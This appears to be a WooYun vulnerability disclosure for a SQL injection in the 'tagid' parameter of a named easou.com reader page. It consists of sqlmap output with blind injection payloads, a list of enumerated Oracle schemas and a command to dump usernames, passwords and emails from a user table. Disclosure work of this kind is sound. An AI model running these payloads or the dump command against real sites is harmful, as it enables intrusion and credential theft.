WooYun.org

漏洞地址：http://shu.easou.com/reader.e?tagid=38&rpt=list&esid=7uTD95pbqN1&qd=M3150001&fr=3.r1_c.93"

问题参数：tagid

GET parameter 'tagid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 70 HTTP(s) requests:
---
Place: GET
Parameter: tagid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: tagid=38 AND 2945=2945&rpt=list&esid=7uTD95pbqN1&qd=M3150001&fr=3.r1_c.93
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (comment)
    Payload: tagid=38 AND 9794=DBMS_PIPE.RECEIVE_MESSAGE(CHR(121)||CHR(76)||CHR(66)||CHR
(85),5)--&rpt=list&esid=7uTD95pbqN1&qd=M3150001&fr=3.r1_c.93
---
[02:13:19] [INFO] the back-end DBMS is Oracle
web application technology: Nginx
back-end DBMS: Oracle

available databases [18]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EASOUPVT
[*] ESADS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SEL_ESADS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

sqlmap.py -u "http://shu.easou.com/reader.e?tagid=38&rpt=list&esid=7uTD95pbqN1&qd=M3150001&fr=3.r1_c.93" --dump -C "ACCOUNT,NAME,PASSWORD,MAIL" -T 'UMS_USER' -D 'ESADS'